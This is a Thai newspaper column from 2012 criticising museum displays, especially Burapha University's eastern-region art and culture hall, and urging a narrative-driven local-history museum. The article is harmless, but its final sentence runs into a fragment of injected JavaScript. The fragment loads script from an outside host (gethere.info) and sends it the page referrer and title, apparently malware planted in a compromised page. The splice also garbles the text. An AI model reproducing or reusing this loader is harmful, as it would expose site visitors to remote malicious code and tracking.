มติชนรายวัน ฉบับประจำวันอังคารที่ 31 มกราคม 2555

 

          มิวเซียมดีๆ ต้องมีเนื้อหาที่เต็มไปด้วย “พลังแห่งการเล่าเรื่อง”อย่างง่ายๆ ให้คนทั่วไปทุกระดับรู้จักและเข้าใจความเป็นมา

          แล้วเป็นพลังสร้างสรรค์สิ่งใหม่ โดยไม่ต้องลงทุนสูง เพื่อทำรูปแบบหรูหราด้วยเฟอร์นิเจอร์ทันสมัยและอุปกรณ์ไฮเทค

          พิพิธภัณฑสถานแห่งชาติของไทยจัดแบบ “ประวัติศาสตร์ศิลปะ” ยุคอาณานิคม เหมือนกันเกือบทั่วประเทศ โดยให้ความสำคัญที่รูปแบบหรูหรา แล้วลงทุนสูง

          แต่เนื้อหาแทบไม่มี ที่มีก็เข้าใจยากมาก และไม่เล่าเรื่องอะไรให้เข้าใจเลย จึงเหมาะเฉพาะ“ผู้ดี”นักปราชญ์ทางประวัติศาสตร์ศิลปะ กับนักสะสมและขายของเก่า

          ที่ ม. บูรพา บางแสน ชลบุรี มีการจัดแสดงเหมือนมิวเซียมอยู่ใน “หอศิลปะและวัฒนธรรมภาคตะวันออก” โดยให้ความสำคัญแสดงการทำงานขุดค้นของนักโบราณคดีในภาคตะวันออก มากกว่าแสดงประวัติความเป็นมาของดินแดนและผู้คนที่นั่น

          ฉะนั้น คนจะดูรู้เรื่องและสนุกได้ ก็เฉพาะพวกนักโบราณคดีกันเองที่ไปขุดค้นด้วยกันเท่านั้น เสมือนเป็นอนุสรณ์สถานของพวกโบราณคดี คนอื่นดูไม่เข้าใจ ไม่รู้เรื่อง

          ที่มีแสดงขณะนี้เป็น “ข้อมูลดิบ” ล้วนๆ เรื่องการขุดค้นของนักโบราณคดี โดยไม่ได้อธิบายลักษณะสังคมวัฒนธรรมและวิถีชีวิตที่ตกผลึกจากการค้นคว้าวิจัยตามหลักฐานโบราณคดี ซึ่งทำได้ไม่ยาก แต่ไม่ได้ทำ

          ผู้บริหาร ม. บูรพา ควรแก้ไขปรับปรุงให้เป็นมิวเซียมท้องถิ่น ที่มีพลังเล่าเรื่องความเป็นมาของดินแดนและผู้คนภาคตะวันออก อย่างน้อยตั้งแต่ราว 3,000 ปีมาแล้ว

          โดยยกย่อง “เจ้าแม่โคกพนมดี” (อ. พนัสนิคม จ. ชลบุรี) เป็นจุดสนใจ แล้วแสดงพัฒนาการทางสังคมวัฒนธรรมสืบมาไม่ขาดสาย จนเป็น“คนไทย”ทุกวันนี้

          ชื่อบ้านนามเมืองมักบอกความเป็นมาของชุมชนท้องถิ่นนั้นๆ ที่มิวเซียมควรจัดแสดงบอกไว้ด้วย ตั้งแต่ ชื่อจังหวัด, อำเภอ, ตำบล, หมู่บ้าน, แม่น้ำลำคลอง, ภูเขา, หาด, เกาะ, ฯลฯ

          รวมทั้งควรมีประวัติความเป็นมาของบางแสน และ ม. บูรพา

          ภาพถ่ายเก่า, รูปวาดลายเส้นของชาวยุโรป, แผนที่เก่าจากสมุดไตรภูมิ, ฯลฯ ซึ่งมีอีกหลากหลาย ล้วนต้องเอามาแสดงทั้งนั้น

          ถ้าทำได้อย่างที่บอกมาก็จะเป็นประโยชน์อย่างยิ่งต่อคนท้องถิ่นที่สนใจใคร่รู้ กับเป็นแหล่งท่องเที่ยวคู่กับสถาบันวิทยาศาสตร์ทางทะเลซึ่งอยู่ติดกัน

          แต่สำคัญที่สุดคือเป็นแหล่งเรียนรู้ประวัติศาสตร์ท้องถิ่นของภาคตะวันออกให้ครูอาจารย์พานักเรียนมาศึกษาอย่างสนุกสนาน ถ้าไม่ตอบสนองอย่างนี้ก็ไม่มีใครอยากดู แล้วต้องปล่อยร้างเหมือนถ้ำผีสิง

          มิวเซียมมีชีวิตได้ก็ด้วยกิจกรรมสร้างสรรค์อย่างสม่ำเสมอเกี่ยวกับสังคมและวัฒนธรรม ทั้งอดีต ปัจจุบัน และอนาคต ถ้าไม่มีกิจกรรมก็รอวันตาย เหมือนที่เป็นอยู่ขณะนี้

          แต่ทั้งหมดขึ้นอยู่กับโลกทรรศน์และวิสัยทัศน์ของผู้บริหารว่ากว้างแคบสั้นยาวขนาดไหน? อย่างไร?s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {